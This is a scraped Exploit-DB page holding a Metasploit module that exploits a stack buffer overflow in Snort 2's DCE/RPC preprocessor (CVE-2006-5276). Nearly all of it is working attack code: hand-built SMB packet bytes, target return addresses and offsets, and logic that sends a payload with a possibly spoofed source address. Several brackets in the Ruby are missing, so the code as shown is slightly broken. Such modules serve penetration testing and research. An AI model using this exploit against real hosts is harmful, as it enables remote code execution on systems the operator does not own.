Snort 2 – DCE/RPC Preprocessor Buffer Overflow (Metasploit)

Exploit Database
125 阅读

作者： Metasploit

日期： 2012-04-09
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/18723/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Capture

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name'=> 'Snort 2 DCE/RPC preprocessor Buffer Overflow',

'Description' => %q{

This module allows remote attackers to execute arbitrary code by exploiting the

Snort service via crafted SMB traffic. The vulnerability is due to a boundary

error within the DCE/RPC preprocessor when reassembling SMB Write AndX requests,

which may result a stack-based buffer overflow with a specially crafted packet

sent on a network that is monitored by Snort.

Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS 4.1, 4.5 and 4.6.

Any host on the Snort network may be used as the remote host. The remote host does not

need to be running the SMB service for the exploit to be successful.

'Author'=>

[

'Neel Mehta', #Original discovery (IBM X-Force)

'Trirat Puttaraksa', #POC

'Carsten Maartmann-Moe <carsten[at]carmaa.com>',#Metasploit win

'0a29406d9794e4f9b30b3c5d6702c708' #Metasploit linux

'License' => MSF_LICENSE,

'References'=>

[

[ 'OSVDB', '32094' ],

[ 'CVE', '2006-5276' ],

[ 'URL', 'http://web.archive.org/web/20070221235015/http://www.snort.org/docs/advisory-2007-02-19.html'],

[ 'URL', 'http://sf-freedom.blogspot.com/2007/02/snort-261-dcerpc-preprocessor-remote.html'],

[ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py']

'DefaultOptions'=>

{

'EXITFUNC' => 'thread',

'Payload' =>

{

'Space' => 390,

'BadChars'=> "\x00",

'DisableNops' => true,

'Targets' =>

[

'Windows Universal',

{

'Platform' => 'win',

'Ret'=> 0x00407c01,# JMP ESP snort.exe

'Offset' => 289, # The number of bytes before overwrite

'Padding' => 0

}

[

'Redhat 8',

{

'Platform' => 'linux',

'Ret' => 0xbffff110,

'Offset' => 317,

'Padding' => 28

}

]

'Privileged'=> true,

'DisclosureDate'=> 'Feb 19 2007',

'DefaultTarget' => 0))

register_options(

[

Opt::RPORT(139),

OptAddress.new('RHOST', [ true,'A host on the Snort-monitored network' ]),

OptAddress.new('SHOST', [ false, 'The (potentially spoofed) source address'])

], self.class)

deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')

end

def exploit

open_pcap

shost = datastore['SHOST'] || Rex::Socket.source_address(rhost)

p = buildpacket(shost, rhost, rport.to_i)

print_status("Sending crafted SMB packet from #{shost} to #{rhost}:#{rport}...")

capture_sendto(p, rhost)

handler

end

def buildpacket(shost, rhost, rport)

p = PacketFu::TCPPacket.new

p.ip_saddr = shost

p.ip_daddr = rhost

p.tcp_dport = rport

p.tcp_flags.psh = 1

p.tcp_flags.ack = 1

# SMB packet borrowed from http://exploit-db.com/exploits/3362

# NetBIOS Session Service, value is the number of bytes in the TCP segment,

# must be greater than the total size of the payload. Statically set.

header = "\x00\x00\xde\xad"

# SMB Header

header << "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"

header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"

header << "\x00\x08\x30\x00"

# Tree Connect AndX Request

header << "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"

header << "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"

header << "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"

header << "\x3f\x3f\x3f\x3f\x3f\x00"

# NT Create AndX Request

header << "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"

header << "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

header << "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"

header << "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"

header << "\x63\x00\x00\x00"

# Write AndX Request #1

header << "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"

header << "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"

header << "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"

header << "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"

header << "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"

header << "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"

header << "\x2b\x10\x48\x60\x02\x00\x00\x00"

# Write AndX Request #2

header << "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"

header << "\x00\x48\x00\x00\x00\xff\x01"

tail = "\x00\x00\x00\x00\x49\x00\xee"

# Return address

eip =[target['Ret']].pack('V')

# Sploit

sploit = make_nops(10)

sploit << payload.encoded

# Padding (to pass size check)

sploit << make_nops(1)

# The size to be included in Write AndX Request #2, including sploit payload

requestsize = [(sploit.size() + target['Offset'])].pack('v')

# Assemble the parts into one package

p.payload = header << requestsize << tail << make_nops(target['Padding']) << eip << sploit

p.recalc

end